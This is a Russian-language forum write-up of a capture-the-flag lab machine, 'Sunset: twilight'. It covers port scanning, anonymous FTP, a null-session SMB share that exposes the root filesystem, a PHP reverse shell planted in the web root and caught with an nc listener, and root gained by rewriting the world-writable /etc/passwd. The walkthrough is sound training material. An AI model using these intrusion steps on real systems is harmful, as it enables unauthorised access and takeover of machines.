CTF CTF Sunset: twilight

Qulan

Red Team
06.12.2020
183
538
Специализация
  1. Веб-безопасность
  2. Сетевая безопасность
Статус верификации
  1. ✓ Verified
Приветствую!

В продолжение цикла статей по CTF, представляю обзор моего прохождения коробки из списка Offensive Security.

Name: Sunset: twilight
Offensive Security Level : Easy
Author Level: Easy/Intermediate


Машина впринципе оказалась достаточно простой, но при этом были моменты когда я понимал что она хочет моей крови. Пройти удалось без подсказок и как я потом понял, альтернативным методом. Я не знаю, возможно автор специально дал возможность использовать иные методы для прохождения, а может это просто ошибка автора.

Вообщем поехали...

Загружаю образ VirtualBox и первым делом смотрю какой адрес выдан машине:

nmap -sn 192.168.1.1/24

Как только получен адресс, сканирую на предмет открытых портов, служб. сервисов, их версий. версии ОС и заоодно запущу необходимые скрипты:

nmap -A -p- 192.168.1.5 -vv

Получаю вот такой список:

Код:
└──╼ #nmap -A -p- 192.168.1.15
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-05 10:50 EET
Nmap scan report for 192.168.1.15
Host is up (0.00025s latency).
Not shown: 65526 closed ports
PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 43:e9:45:ec:f4:5b:ed:e9:64:47:43:43:39:96:9d:c9 (RSA)
|   256 ed:67:ad:31:04:17:ef:cf:75:02:05:db:88:94:97:a0 (ECDSA)
|_  256 ed:41:e5:d1:b2:23:2c:d5:90:59:2a:37:8b:da:31:c1 (ED25519)
25/tcp    open  smtp        Exim smtpd 4.92
| smtp-commands: twilight Hello nmap.scanme.org [192.168.1.6], SIZE 52428800, 8BITMIME, PIPELINING, CHUNKING, PRDR, HELP,
|_ Commands supported: AUTH HELO EHLO MAIL RCPT DATA BDAT NOOP QUIT RSET HELP
80/tcp    open  http        Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
2121/tcp  open  ftp         pyftpdlib 1.5.6
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--   1 root     root           35 Jul 16  2020 22253251-65325.twilight
| ftp-syst:
|   STAT:
| FTP server status:
|  Connected to: 192.168.1.15:2121
|  Waiting for username.
|  TYPE: ASCII; STRUcture: File; MODE: Stream
|  Data connection closed.
|_End of status.
3306/tcp  open  mysql       MySQL 5.5.5-10.3.22-MariaDB-0+deb10u1
| mysql-info:
|   Protocol: 10
|   Version: 5.5.5-10.3.22-MariaDB-0+deb10u1
|   Thread ID: 37
|   Capabilities flags: 63486
|   Some Capabilities: DontAllowDatabaseTableColumn, SupportsCompression, Support41Auth, Speaks41ProtocolNew, LongColumnFlag, SupportsTransactions, Speaks41ProtocolOld, IgnoreSigpipes, FoundRows, InteractiveClient, IgnoreSpaceBeforeParenthesis, SupportsLoadDataLocal, ConnectWithDatabase, ODBCClient, SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults
|   Status: Autocommit
|   Salt: g!inmZZ32@,WU$PI]xbb
|_  Auth Plugin Name: mysql_native_password
8080/tcp  open  http        PHP cli server 5.5 or later
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Login - powered by Easy File Sharing Web Server
63525/tcp open  http        PHP cli server 5.5 or later
|_http-title: Login - powered by Easy File Sharing Web Server
MAC Address: 08:00:27:07:7D:3D (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: Host: twilight; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h40m00s, deviation: 2h53m12s, median: 0s
|_nbstat: NetBIOS name: TWILIGHT, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.9.5-Debian)
|   Computer name: twilight
|   NetBIOS computer name: TWILIGHT\x00
|   Domain name: \x00
|   FQDN: twilight
|_  System time: 2021-03-05T03:51:25-05:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2021-03-05T08:51:24
|_  start_date: N/A

И так что мы имеем? А имеем мы достаточно, чтоб потерятся во всем этом:

Код:
PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
25/tcp    open  smtp        Exim smtpd 4.92
80/tcp    open  http        Apache httpd 2.4.38 ((Debian))
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
2121/tcp  open  ftp         pyftpdlib 1.5.6
3306/tcp  open  mysql       MySQL 5.5.5-10.3.22-MariaDB-0+deb10u1
8080/tcp  open  http        PHP cli server 5.5 or later
63525/tcp open  http        PHP cli server 5.5 or later


Сразу думаю о том, куда идти впервую очередь. Что я могу проверить очень быстро так это 2121 порт с висячим там FTP:

Вижу что возможна сессия от имени anonymous:

Код:
2121/tcp  open  ftp         pyftpdlib 1.5.6
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--   1 root     root           35 Jul 16  2020 22253251-65325.twilight
| ftp-syst:
|   STAT:
| FTP server status:
|  Connected to: 192.168.1.15:2121
|  Waiting for username.
|  TYPE: ASCII; STRUcture: File; MODE: Stream
|  Data connection closed.
|_End of status.


Пробую подключится под:
anonymous : ‘’
anonymous : anonymous


Код:
└──╼ #ftp 192.168.1.5 2121
Connected to 192.168.1.5.
220 pyftpdlib 1.5.6 ready.
Name (192.168.1.5:qulan): anonymous
331 Username ok, send password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

И с первого же раз я получаю доступ. Смотрю что внутри:

Код:
ftp> dir
200 Active data connection established.
125 Data connection already open. Transfer starting.
-rw-r--r--   1 root     root           35 Jul 16  2020 22253251-65325.twilight
226 Transfer complete.

Тяну файл к себе:

Код:
ftp> get 22253251-65325.twilight
local: 22253251-65325.twilight remote: 22253251-65325.twilight
200 Active data connection established.
125 Data connection already open. Transfer starting.
226 Transfer complete.
35 bytes received in 0.02 secs (2.2457 kB/s)

Супер, давайте смотреть что внутри:

Код:
└──╼ #cat 22253251-65325.twilight
Sg?~;
dg
14
  V+Y<(^\4cdUpv7 -N'z2

Эммм... Что за инопланетная письменность? Беру строку V+Y<(^\4cdUpv7 -N'z2 и скармлеваю Гуглу )))
1615056256100.png


Из этой затеи нечего не вышло. Смотрю результаты сканирования и принемаю решение идти на 139.445 порты к SMB

Провожу перечесление enum4linux'ом:

Код:
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)

Код:
└──╼ #enum4linux -A 192.168.1.5

 ==========================
|    Target Information    |
 ==========================
Target ........... 192.168.1.5
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ====================================================
|    Enumerating Workgroup/Domain on 192.168.1.5    |
 ====================================================

 =====================================
|    Session Check on 192.168.1.5    |
 =====================================
[+] Server 192.168.1.5 allows sessions using username '', password ''


 ======================================
|    OS information on 192.168.1.5    |
 ======================================
Use of uninitialized value $os_info in concatenation (.) or string at ./enum4linux.pl line 464.
[+] Got OS info for 192.168.1.15 from smbclient:
[+] Got OS info for 192.168.1.15 from srvinfo:
    TWILIGHT       Wk Sv PrQ Unx NT SNT Samba 4.9.5-Debian
    platform_id     :    500
    os version      :    6.1
    server type     :    0x809a03


 =========================================
|    Share Enumeration on 192.168.1.5    |
 =========================================

    Sharename       Type      Comment
    ---------       ----      -------
    WRKSHARE        Disk      Workplace Share. Do not access if not an employee.
    print$          Disk      Printer Drivers
IPC$            IPC       IPC Service (Samba 4.9.5-Debian)
SMB1 disabled -- no workgroup available

[+] Attempting to map shares on 192.168.1.15
//192.168.1.5/WRKSHARE    Mapping: OK, Listing: OK
//192.168.1.5/print$    Mapping: DENIED, Listing: N/A
//192.168.1.5/IPC$    [E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*


 =======================================================================
|    Users on 192.168.1.5 via RID cycling (RIDS: 500-550,1000-1050)    |
 =======================================================================
[I] Found new SID: S-1-22-1
[I] Found new SID: S-1-5-21-2873257265-3368159169-400567825
[I] Found new SID: S-1-5-32
[+] Enumerating users using SID S-1-5-21-2873257265-3368159169-400567825 and logon username '', password ''
S-1-5-21-2873257265-3368159169-400567825-500 *unknown*\*unknown* (8)
S-1-5-21-2873257265-3368159169-400567825-501 TWILIGHT\nobody (Local User)
S-1-5-21-2873257265-3368159169-400567825-502 *unknown*\*unknown* (8)

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\miguel (Local User)
[+] Enumerating users using SID S-1-5-32 and logon username '', password ''

S-1-5-32-537 *unknown*\*unknown* (8)
S-1-5-32-538 *unknown*\*unknown* (8)
S-1-5-32-539 *unknown*\*unknown* (8)
S-1-5-32-540 *unknown*\*unknown* (8)
S-1-5-32-541 *unknown*\*unknown* (8)
S-1-5-32-542 *unknown*\*unknown* (8)
S-1-5-32-543 *unknown*\*unknown* (8)
S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)


Выделяю для себя интересные вещи:

[+] Server 192.168.1.5 allows sessions using username '', password '' - есть возможность установить сессию с нудевым пользователем
//192.168.1.5/WRKSHARE Mapping: OK, Listing: OK - открыта директория WRKSHARE
S-1-22-1-1000 Unix User\miguel (Local User) - в системе есть юзер miguel

Ок, поробуем войти по NULL юзером:

и все среботало

Код:
└──╼ #smbclient //192.168.1.5/WRKSHARE -U '' -p 139
Enter WORKGROUP\'s password:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Thu Jul  9 01:57:09 2020
  ..                                  D        0  Thu Jul  9 01:57:09 2020
  root                                D        0  Thu Jul 16 16:50:46 2020
  run                                 D        0  Sat Mar  6 10:10:52 2021
  lost+found                          D        0  Thu Jul  9 01:08:46 2020
  initrd.img                          N 25814661  Thu Jul  9 01:58:16 2020
  etc                                 D        0  Sat Mar  6 10:10:33 2021
  proc                                D        0  Sat Mar  6 10:11:05 2021
  vmlinuz                             N  5274864  Sun Jun  7 18:42:22 2020
  initrd.img.old                      N 25807574  Thu Jul  9 01:58:02 2020
  opt                                 D        0  Thu Jul  9 01:09:01 2020
  srv                                 D        0  Thu Jul  9 01:09:01 2020
  sys                                 D        0  Sat Mar  6 11:34:39 2021
  lib64                               D        0  Thu Jul  9 01:09:08 2020
  sbin                                D        0  Thu Jul 16 16:53:39 2020
  media                               D        0  Thu Jul  9 01:08:46 2020
  bin                                 D        0  Thu Jul 16 15:22:20 2020
  usr                                 D        0  Thu Jul  9 01:09:01 2020
  lib32                               D        0  Thu Jul  9 01:08:56 2020
  dev                                 D        0  Sat Mar  6 10:10:23 2021
  lib                                 D        0  Thu Jul  9 05:20:29 2020
  vmlinuz.old                         N  5274864  Mon Apr 27 08:05:39 2020
  libx32                              D        0  Thu Jul  9 01:08:56 2020
  home                                D        0  Thu Jul  9 02:15:56 2020
  mnt                                 D        0  Thu Jul  9 01:09:01 2020
  var                                 D        0  Thu Jul  9 03:03:27 2020
  boot                                D        0  Thu Jul  9 02:06:53 2020
  tmp                                 D        0  Sat Mar  6 11:39:02 2021

        7158264 blocks of size 1024. 4241496 blocks available
smb: \>

// NULL user - это пользователь без имени и пароля //

И так, если вы линуксовод с опытом от пары месяцев, то станет понятно что перед нами корневой каталог системы. Смотреть тут придется много, поэтому принимаю решение смонтировать каталог к себе.

Код:
└──╼ #sudo mount.cifs //192.168.1.5/WRKSHARE /tmp/WRKSHARE -o user=''
Password for root@//192.168.1.5/WRKSHARE:

и следом:

Код:
└──╼ #cd /tmp/WRKSHARE/ && ls -la
total 63488
drwxr-xr-x 2 root root        0 Jul  9  2020 .
drwxrwxrwt 1 root root     1450 Mar  6 11:46 ..
drwxr-xr-x 2 root root        0 Jul 16  2020 bin
drwxr-xr-x 2 root root        0 Jul  9  2020 boot
drwxr-xr-x 2 root root        0 Mar  6 10:10 dev
drwxr-xr-x 2 root root        0 Mar  6 10:10 etc
drwxr-xr-x 2 root root        0 Jul  9  2020 home
-rwxr-xr-x 1 root root 25814661 Jul  9  2020 initrd.img
-rwxr-xr-x 1 root root 25807574 Jul  9  2020 initrd.img.old
drwxr-xr-x 2 root root        0 Jul  9  2020 lib
drwxr-xr-x 2 root root        0 Jul  9  2020 lib32
drwxr-xr-x 2 root root        0 Jul  9  2020 lib64
drwxr-xr-x 2 root root        0 Jul  9  2020 libx32
drwxr-xr-x 2 root root        0 Jul  9  2020 lost+found
drwxr-xr-x 2 root root        0 Jul  9  2020 media
drwxr-xr-x 2 root root        0 Jul  9  2020 mnt
drwxr-xr-x 2 root root        0 Jul  9  2020 opt
drwxr-xr-x 2 root root        0 Mar  6 10:11 proc
drwxr-xr-x 2 root root        0 Jul 16  2020 root
drwxr-xr-x 2 root root        0 Mar  6 10:10 run
drwxr-xr-x 2 root root        0 Jul 16  2020 sbin
drwxr-xr-x 2 root root        0 Jul  9  2020 srv
drwxr-xr-x 2 root root        0 Mar  6 11:34 sys
drwxr-xr-x 2 root root        0 Mar  6 11:39 tmp
drwxr-xr-x 2 root root        0 Jul  9  2020 usr
drwxr-xr-x 2 root root        0 Jul  9  2020 var
-rwxr-xr-x 1 root root  5274864 Jun  7  2020 vmlinuz
-rwxr-xr-x 1 root root  5274864 Apr 27  2020 vmlinuz.old

Прекрсно, теперь можем нормально передвигаться по каталогу. Сразу пробую пройти в home/ :

Код:
└──╼ #ll
total 0
drwxr-xr-x 2 root root 0 Jul 16  2020 miguel

Ага, вот и юзер))) Топаем в его каталог:

Код:
┌─[root@parrot]─[/tmp/WRKSHARE/home/miguel]
└──╼ #ls -la
ls: reading directory '.': Permission denied
total 0

Опля... Закрыто... Хм, тогда пойдем дальше. Пробую etc/ :

Код:
└──╼ #ll
total 73M
-rwxr-xr-x 1 root root 3.0K Jul  9  2020 adduser.conf
-rwxr-xr-x 1 root root   44 Jul  9  2020 adjtime
-rwxr-xr-x 1 root root  198 Jul  9  2020 aliases
drwxr-xr-x 2 root root    0 Jul 16  2020 alternatives
-rwxr-xr-x 1 root root  401 May 19  2019 anacrontab
drwxr-xr-x 2 root root    0 Jul  9  2020 apache2
drwxr-xr-x 2 root root    0 Jul  9  2020 apparmor
drwxr-xr-x 2 root root    0 Jul  9  2020 apparmor.d
drwxr-xr-x 2 root root    0 Jul  9  2020 apt
drwxr-xr-x 2 root root    0 Jul  9  2020 avahi
-rwxr-xr-x 1 root root 2.0K Apr 18  2019 bash.bashrc
-rwxr-xr-x 1 root root  367 Mar  2  2018 bindresvport.blacklist
drwxr-xr-x 2 root root    0 Jan 29  2020 binfmt.d
drwxr-xr-x 2 root root    0 Jul  9  2020 bluetooth
drwxr-xr-x 2 root root    0 Jul  9  2020 ca-certificates

// ------------------------- //

Отлично, а почитать passwd файл дашь?

Код:
└──╼ #cat /tmp/WRKSHARE/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:105:112:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
miguel:x:1000:1000:,,,:/home/miguel:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
Debian-exim:x:107:115::/var/spool/exim4:/usr/sbin/nologin
mysql:x:108:118:MySQL Server,,,:/nonexistent:/bin/false

Вообще гуд, прям все идет как надо ))) Выделяю для себя интересную информацию по пользователях:

root - супер юзер
www-data - пользователь вэб сервера
miguel - пользователь сис-мы
Еще покопавшись минут 30, я понял пора уходить. Нужно взять хоть какого-то пльзователя. Снова смотрю отчет по сканированию и рtшаю идти на 80 порт (http)

Перехожу по адрессу [URL]http://192.168.1.5[/URL] и вижу это:
1615056569100.png

Угу, это какая-то галлерея и написано что файлы будут хранится в базе. Наверное той самой Mysql на 3306-м порту. Так как передомной сайт, время запускать gobuster'а:
└──╼ #gobuster dir -u [URL]http://192.168.1.5/[/URL] -w /home/qulan/wordlists/dir/directory-list-2.3-medium.txt -t 60
И пока он напрягается, похожу по ссылкам на сайте, а тут их аж две )))
Кликаю на pictures и о Боги... сообщение об ошибке:
1615056673000.png

оворят что мол ошибка в синтаксисе. Проверьте и исправте... Где проверить? Где исправить? не ясно вообщем... Кликаю на ссылку со сменой языка иии... вообще пусто! Жмякаю View page source и тоже пусто ((( Была надежда что там есть закоментированая строка с подсказкой или еще чем нибуть. Но нет... Вообщем просто жду gobuster'а.
1615056752100.png

Бустер справился, а я погнал в каталог /gallery и вижу:
1615056774000.png


Форма для загрузки файлов. Тут я смыкаю что скорее всего уязвимость будет связанна с Upload Files. Если это так, то нам нужно:

1. Определить есть ли система фильтрации
2. Обойти эту систему и впихнуть shell
3. Найти где лежат загруженные файлы
4. Запустить наш реверс шелл

Определяем есть ли система фильтрации

Проходя самостоятельное обучение по уязвимостям в вебе, я проходил раздел с фильтрацией. Из пройденного материала я знаю, что фильтрация бывает двух типов:

• Фильтрация на стороне клиента
• Фильтрация на стороне сервера
• Обе сразу


Ок, приступим. Подключаю к делу Burp Suite. Мне нужно отловить ответ при загрузке файла. В данный момент не важно какого именно, я использую текстовый файл с TXT.
1615056855600.png

Ответ сервера дает мне сразу два ответа на вопросы:

• Есть ли фильтрация на стороне клиента - НЕТ
• Какой тип файлов можно загрузить через форму - Only jpeg images are allowed!

Хорошо, значит мы имеем фильтрацию на стороне сервера. Опять же, возвращаясь к уже изученному материалу, я знаю что есть несколько типов фильтрации на стороне сервера:

• Фильтрация по типу файла
• Фильтрация по размеру файла
• Фильтрация по имени файла
• Фильтрация по Magic Number
• Фильтрация по MIME


Беремся за дело!

Беру любую картинку в сети с расширением jpeg.
1615056926400.png

// Люблю я песиков... ))) //

И пробую загрузить фото.
1615056974000.png

Мы видим что загрузка прошла удачно, но прежде чем перейти к определению типов фильтрации, мы должны понять где хранятся наши файлы. Ведь в случае успеха нам потребуется как-то запустить шелл!

Снова зову на помошь gobuster'a, но в этот раз ищу скрытые директории по адрессу:

└──╼ #gobuster dir -u [URL]http://192.168.1.5/gallery/[/URL] -w /home/qulan/wordlists/dir/directory-list-2.3-medium.txt -t 60
1615057030300.png

И найденны еще четыре директории. Когда я загрузил файл, было видно что сервер как-то обрабатывает этот файл и делает несколько версий:

  • dog.jpeg (6023 bytes) was stored!
  • normal_dog.jpeg (232054 bytes) was stored!
  • thumb_dog.jpeg (16281 bytes) was stored!

И я понимаю что оригинал моего файла лежит в папке /original. Откроем ее:
1615057089900.png


И вот тот момент, который сбил меня с этого пути. Я забыл о том, что папка может быть закрытой, но нечего не мешает обратиться к файлу в ней путем:

http://192.168.1.5/original/myfile

Если бы я это вспомнил, то мне осталось бы только обойти фильтрацию и загрузить шелл. Но я посему-то принял это за то, что я не могу найти папку с загруженным файлом и решил вернуться в начало. (Как оказалось тоже идея)

Я решил, что мне требуется исправить синтаксис чтоб картинка отображалась по адрессу http://192.168.1.5/current.php?id=1 и я застрял на долго...

Как ни странно, решить задачу помог ребенок, который меня отвлек. Когда я будучи отвлеченным играл с ребенком, мне прилетело решение!

Мой внутрений голос:
- Мужик, что ты городишь? У тебя же смонтирован раздел с корневым каталогом. Иди в /var/www !!!

Усевшись за компьютер я вошел на смонтированный раздел и полез в директорию где лежит сайт:

Код:
┌─[root@parrot]─[/tmp/WRKSHARE/var/www/html]
└──╼ #ll
total 3.0M
-rwxr-xr-x 1 root root 152 Jul 16  2020 current.php
drwxr-xr-x 2 root root   0 Mar  5 20:44 gallery
-rwxr-xr-x 1 root root 228 Jul 16  2020 index.php
-rwxr-xr-x 1 root root  58 Jul 16  2020 lang.php
┌─[root@parrot]─[/tmp/WRKSHARE/var/www/html]
└──╼ #

Нахожу тот самый current.php который писал об ошибке которую требовалось исправить:

Код:
└──╼ #cat current.php
Error: You have an error in your mysql syntax; check the manual that corresponds to your mysql server for the right syntax to use near " on parameter 1

Понимаю что это даже не скрипт. Иду в раздел /gallery:

Код:
┌─[root@parrot]─[/tmp/WRKSHARE/var/www/html/gallery]
└──╼ #ll
total 152M
-rwxr-xr-x 1 root root 148M Mar  5 21:03 hydra.restore
-rwxr-xr-x 1 root root  601 Mar 18  2008 index.php
-rwxr-xr-x 1 root root 8.8K Mar 19  2008 maxImageUpload.class.php
-rwxr-xr-x 1 root root  11K Dec 28  2010 maxImageUpload.zip
drwxr-xr-x 2 root root    0 Mar  5 14:08 normal
drwxr-xr-x 2 root root    0 Mar  5 14:08 original
-rwxr-xr-x 1 root root  534 Mar 19  2008 readme.txt
drwxr-xr-x 2 root root    0 Mar 18  2008 style
drwxr-xr-x 2 root root    0 Mar  5 14:08 thumbnail


Смотрю index.php:

Код:
└──╼ #cat index.php
<?php require_once("maxImageUpload.class.php"); ?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "">http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="">http://www.w3.org/1999/xhtml">
<head>
   <meta data-fr-http-equiv="Content-Type" content="text/html; charset=utf-8" />
   <title>Max's Image Uploader</title>
   <link href="style/style.css" rel="stylesheet" type="text/css" />
</head>

<body>
<?php
    $myImageUpload = new maxImageUpload();
    //$myUpload->setUploadLocation(getcwd().DIRECTORY_SEPARATOR);
    $myImageUpload->uploadImage();
?>


Вижу скрипт. Обращаю внимание на то, что переменной $myImageUpload присваивают значение функции maxImageUpload().

-rwxr-xr-x 1 root root 8.8K Mar 19 2008 maxImageUpload.class.php

Открываю и читаю... Нахожу код фильтра:
1615057260500.png

И в этот самый момент ко мне в голову врывается мысль: - Если ты можешь это редактировать, так может можно сюда залит файл?
Твою жеж дивизию...
Топаю к файлу с шеллом. Настраиваю его и :

Код:
┌─[root@parrot]─[/opt/shell]
└──╼ #cp reverse_sh.php /tmp/WRKSHARE/var/www/html/ && ls -l /tmp/WRKSHARE/var/www/html/
total 4096
-rwxr-xr-x 1 root root  152 Jul 16  2020 current.php
drwxr-xr-x 2 root root    0 Mar  6 13:10 gallery
-rwxr-xr-x 1 root root  228 Jul 16  2020 index.php
-rwxr-xr-x 1 root root   58 Jul 16  2020 lang.php
-rwxr-xr-x 1 root root 5490 Mar  6 13:15 reverse_sh.php

Вуаля, шелл залит...

Понимая что залил его в корень сайта, иду на http://192,168,1,5/reverse_sh.php и ставлю листенера:

Код:
└──╼ #nc -lvnp 1234
Listening on 0.0.0.0 1234
Connection received on 192.168.1.5 35290
Linux twilight 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64 GNU/Linux
 06:18:16 up  3:08,  0 users,  load average: 0.00, 0.02, 0.97
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

Бам и я в системе!

И так время для повышения прав. Первым делом смотрю cron:

1615057350300.png


Пусто ...

Смотрю возможность доступа к /etc/passwd

Код:
$ ls -l passwd
-rwxrwxrwx 1 root root 1594 Mar  6 04:57 passwd

Опля... Добрый вечер... Файл открыт для записи, а это говорит о том, что мы можем поменять пароль на root или создать своего супер пользователя.

Иду к себе и запуская openssl:

Код:
└──╼ #openssl passwd -1 -salt new test123
$1$new$5.ite0q7hk9LLso7LljIk/

Получил хеш пароля test123, теперь нужно отредактировать файл /etc/passwd. Скажу сразу, через коману echo “hash” >> /etc/passwd выполнить задачу не удасться, так как в файл добавится все, кроме самого хеша. Почему так, я не разбирался еще, но как-то попробую узнать. Поэто принемаю решение использовать любой из доступных редакторов:

При попытке вызвать nano:

Код:
$ nano /etc/passwd
Unable to create directory /var/www/.local/share/nano/: No such file or directory
It is required for saving/loading search history or cursor positions.

Press Enter to continue

Error opening terminal: unknown.

Пытаюсь создать /var/www/.local/share/nano/ :

$
Код:
mkdir .local
mkdir: cannot create directory '.local': Permission denied

Пробую vim:

Код:
vim /etc/passwd
/bin/sh: 6: vim: not found
$ /usr/bin/vim /etc/passwd
/bin/sh: 7: /usr/bin/vim: not found

Хм... Напрягся. Ок, а vi :
1615057442000.png


vi запустился, но из-за нестабильной оболочки я ничего не могу отредактировать. Печаль (((

Начинаю активно гуглить на предмет редактирования файла без редактора. Может есть команда которая выручит. Минут через 30 -40 запрос вида “how to edit file whithout vim or nano” начал давайть результаты. Вариантов как оказалось масса, но я наткнулся на пояснение где упоминался монтированый раздел. И я понял, что я могу просто отредактировать файл из своей оболочки.

Код:
┌─[root@parrot]─[/tmp/WRKSHARE/etc]
└──╼ #ll
total 73M
-rwxr-xr-x 1 root root 3.0K Jul  9  2020 adduser.conf
-rwxr-xr-x 1 root root   44 Jul  9  2020 adjtime
// ---------------- //

Я в каталоге. Важное пояснение, если ввести nano(vim,vi) или что-то еще для открытия или считывания файла, крайне важно вводить полный путь к файлу, так как ваша оболочка подумает что мы хотим редактировать/прочитать наш файл )))

Ввожу nano /tmp/WRKSHARE/etc/passwd и открываю файл:
1615057509400.png

Теперь осталось выбрать что я хочу, заменить пароль у root'a или создать своего ))) Я решил просто заменить пароль:

1615057536000.png

После сохранения пробую su root:
1615057557200.png

Booommm!!! Теперь пойду соберу флаги:

Код:
cd /home
ls -la
total 12
drwxr-xr-x  3 root   root   4096 Jul  8  2020 .
drwxr-xr-x 18 root   root   4096 Jul  8  2020 ..
drwx------  7 miguel miguel 4096 Jul 16  2020 miguel
cd miguel
ls -la
total 52
drwx------ 7 miguel miguel 4096 Jul 16  2020 .
drwxr-xr-x 3 root   root   4096 Jul  8  2020 ..
lrwxrwxrwx 1 root   root      9 Jul 16  2020 .bash_history -> /dev/null
-rwx------ 1 miguel miguel  220 Jul  8  2020 .bash_logout
-rwx------ 1 miguel miguel 3526 Jul  8  2020 .bashrc
drwxr-xr-x 2 root   root   4096 Jul 16  2020 efs
drwxr-xr-x 2 miguel miguel 4096 Jul 16  2020 efs2
drwxr-xr-x 2 root   root   4096 Jul 16  2020 ftp
drwx------ 3 miguel miguel 4096 Jul 16  2020 .gnupg
drwxr-xr-x 3 miguel miguel 4096 Jul 16  2020 .local
-rwx------ 1 miguel miguel  807 Jul  8  2020 .profile
-rw-r--r-- 1 miguel miguel   66 Jul 16  2020 .selected_editor
-rw-r--r-- 1 root   root     33 Jul 16  2020 user.txt
-rw-r--r-- 1 miguel miguel  173 Jul 16  2020 .wget-hsts
cat user.txt
6b963e69f7b4a6205513973e4cace702

и флаг root:

Код:
cd /root
ls -la
total 36
drwx------  5 root root 4096 Jul 16  2020 .
drwxr-xr-x 18 root root 4096 Jul  8  2020 ..
lrwxrwxrwx  1 root root    9 Jul 16  2020 .bash_history -> /dev/null
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
drwx------  3 root root 4096 Jul 16  2020 .cache
drwx------  3 root root 4096 Jul 15  2020 .gnupg
drwxr-xr-x  3 root root 4096 Jul  8  2020 .local
lrwxrwxrwx  1 root root    9 Jul 16  2020 .mysql_history -> /dev/null
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root  238 Jul 16  2020 root.txt
-rw-r--r--  1 root root  212 Jul 15  2020 .wget-hsts
cat root.txt
(\
\'\
 \'\     __________ 
 / '|   ()_________)
 \ '/    \ ~~~~~~~~ \
   \       \ ~~~~~~   \
   ==).      \__________\
